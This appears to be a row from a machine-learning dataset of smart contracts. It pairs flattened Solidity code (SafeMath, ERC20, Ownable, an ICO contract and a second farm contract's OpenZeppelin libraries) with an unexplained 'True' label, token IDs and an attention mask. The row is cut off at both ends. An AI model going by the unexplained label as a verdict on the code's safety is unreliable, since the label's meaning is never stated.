== b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Token is ERC20, Ownable { string constant SYMBOL = ""; string constant NAME = ""; uint256 constant MINT_AMOUNT = 0; address constant ICO_ADDRESS = 0x0000000000000000000000000000000000000000; uint256 constant ICO_AMOUNT = 0; uint256 constant BOUNTY_AMOUNT = 0; uint256 constant MINING_AMOUNT = 0; uint256 constant SHOP_AMOUNT = 0; constructor() ERC20(NAME, SYMBOL) public { _mint(address(this), MINT_AMOUNT); _transfer(address(this), ICO_ADDRESS, ICO_AMOUNT); } function sendMining(address account) public onlyOwner { _transfer(address(this), account, MINING_AMOUNT); } function sendShop(address account) public onlyOwner { _transfer(address(this), account, SHOP_AMOUNT); } function sendBounty(address account) public onlyOwner { _transfer(address(this), account, BOUNTY_AMOUNT); } function burn(uint256 amount) public { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } contract ICO is Ownable { uint256 public price; Token public token; bool public finish = false; event ChangePrice(uint256 price); function setToken(Token addr) public onlyOwner { require(address(token) == address(0), "Token is already installed"); require(addr.balanceOf(address(this)) > 0, "Invalid token"); token = addr; } function setPrice(uint256 value) public onlyOwner { require(!finish, 'ICO completed'); price = value; emit ChangePrice(price); } function setFinish() public onlyOwner { require(!finish, 'ICO completed'); token.burn(token.balanceOf(address(this))); finish = true; } function getEth() public onlyOwner { address payable sender = msg.sender; sender.transfer(address(this).balance); } receive() external payable { require(!finish, 'ICO completed'); require(address(token) != address(0) && price != 0, "ICO is not initialized"); token.transfer(msg.sender, msg.value * price); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5718, 1011, 2676, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 24582, 2080, 2005, 5581, 26783, 3334, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 3046, 4215, 2094, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 22017, 2140, 1010, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 2065, 1006, 1039, 1026, 1037, 1007, 2709, 1006, 6270, 1010, 1014, 1007, 1025, 2709, 1006, 2995, 1010, 1039, 1007, 1025, 1065, 3853, 3046, 6342, 2497, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 22017, 2140, 1010, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1038, 1028, 1037, 1007, 2709, 1006, 6270, 1010, 1014, 1007, 1025, 2709, 1006, 2995, 1010, 1037, 1011, 1038, 1007, 1025, 1065, 3853, 3046, 12274, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 22017, 2140, 1010, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 2709, 1006, 2995, 1010, 1014, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 2065, 1006, 1039, 1013, 1037, 999, 1027, 1038, 1007, 2709, 1006, 6270, 1010, 1014, 1007, 1025, 2709, 1006, 2995, 1010, 1039, 1007, 1025, 1065, 3853, 3046, 4305, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/* From Noodle Fans, To the World Website: https://gyudon.farm \|\| Telegram: t.me/gyudonfarm / pragma solidity ^0.6.6; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.5; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.0; /* * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. / library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /* * @dev Returns true if the value is in the set. O(1). / function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /* * @dev Returns the number of values on the set. O(1). / function _length(Set storage set) private view returns (uint256) { return set._values.length; } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /* * @dev Returns true if the value is in the set. O(1). / function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /* * @dev Returns the number of values in the set. O(1). / function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /* * @dev Returns true if the value is in the set. O(1). / function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /* * @dev Returns the number of values on the set. O(1). / function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function 